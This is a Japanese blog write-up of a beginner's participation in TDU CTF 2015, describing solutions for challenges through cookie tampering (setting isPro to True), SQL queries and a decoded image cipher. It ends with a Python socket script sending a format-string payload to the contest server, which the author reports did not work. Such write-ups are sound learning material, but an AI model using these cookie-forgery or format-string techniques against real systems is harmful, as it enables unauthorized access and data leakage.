読者です 読者をやめる 読者になる 読者になる

つけじょにーのすぱげていコード

主に、競技プログラミング、セキュリティのお勉強の際に書いたすぱげていコードを書き込みます

TDU CTF 2015に参加してきた

CTF

どうも、CTF初心者が通ります。
本日、TDUCTF 2015に参加してきました! 最初は補欠だったのですが、枠が増えたことにより、繰り上がらせてもらえました(歓喜)
なかなか問題が解けなくて、サービスをいただいたおかげで解けた問題が大半を占めているのですが、結果として6問解けました。

①練習問題
これは・・・ よくあるHello world的なアレですね

②ESPer
私はCharlotte見てなかったのですが、Twitterやってる方ならわかると思います。
友利奈緒でいけました

③おわり?
おわり・・・ SEKAI NO OWARIですね
一時期、フカセさんが暗号をTwitterに投稿して、それが流行ったらしいです
問題の画像をダウンロードして開いてみると・・・ なんとカラフルなのでしょう!
数字がカラフルにTDU{ }の中に並んでいます
赤色の1ならば
Redの1番目、つまりRといった具合に複号化すればいけます

④Lie
指定されたURLにいくと、クッキーの画像が出てきます。
そして、なにやらそのクッキーをめっちゃ指差してます
そこで察してあげて、Cookieを覗いてみると、値がFalseになっています。
名前はisProとなっているので、プロでないということを表現してるんだろうなーと察します
この問題の名前はLieなので、自分がプロでないということを加味し、嘘をつくと、
値をTrueにすることになります。
それでページを再読み込みするとプロの方の写真とともにフラグを取れます

⑤14:50
これはムービーを見て、突如現れるフラグを打ち込めばいける問題です

SQL Practice
のむけんさんのツイートをSQLクエリ発行により取得できます
いただいたソースコードから、フラグがありそうなカラムを探すと、textというカラムがひっかかります
フラグの形式は /TDU{.+}/なので、
SELECT text FROM tweets WHERE LIKE 'TDU{%'みたいにしてやればいけるかなーと思いきや
引っかからない・・・
おそらく構文間違ってるんでしょうね
LIKE '%TDU{%'みたいにしてやればいけるんでしょうか

ですが俺はSELECT text FROM tweets;を発行し、ブラウザの検索機能で探しました(オイオイ

いやー、改めてみると全然解けてないな・・・ サービス問題でヒントもらいながら解けたようなもんで、ダメダメでした

あと、気になったのがCharlotteという問題なのですが・・・
netcatで接続すると、対話的なやりとりができるのですが、どうやらFSB脆弱性があるっぽい?と思い、以下のようなコードを書いてみました。
だいぶ汚いですが・・・

#!/usr/bin/python
import sys, socket, struct, telnetlib

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I", a)

def sock(remoteIP, remotePORT):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteIP, remotePORT))
	return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
	data = ''
	while not data.endswith(delim):
		data += f.read(1)
	return data

def main(args):
	#-*- your code here -*-
	s, f = sock("crackme.sakura.tductf.org", 10773)

	message = read_until(f)
	print "[message]: " + message
	addr = message.split(' ')[5]
	print "address is " + addr
	m2 = read_until(f)
	print "[message]: " + m2
	print "Submitting..."
	submit = p(int(addr, 16)) + "%08x.%08x.%08x.%08x.%08x.%s"
	print "submit data is {" + submit + "}" 
	f.write(submit)
	ans = f.read(1024)
	print ans

if __name__ == '__main__':
	main(sys.argv)

実行してみたのですが、ans = f.read(1024)のところがうまくいきません。
内部処理でfgetsを用いているらしく、そのことも考慮しなくてはいけないらしいです

とにかく言えることは、さくらインターネットさん、運営の方々に感謝感謝です。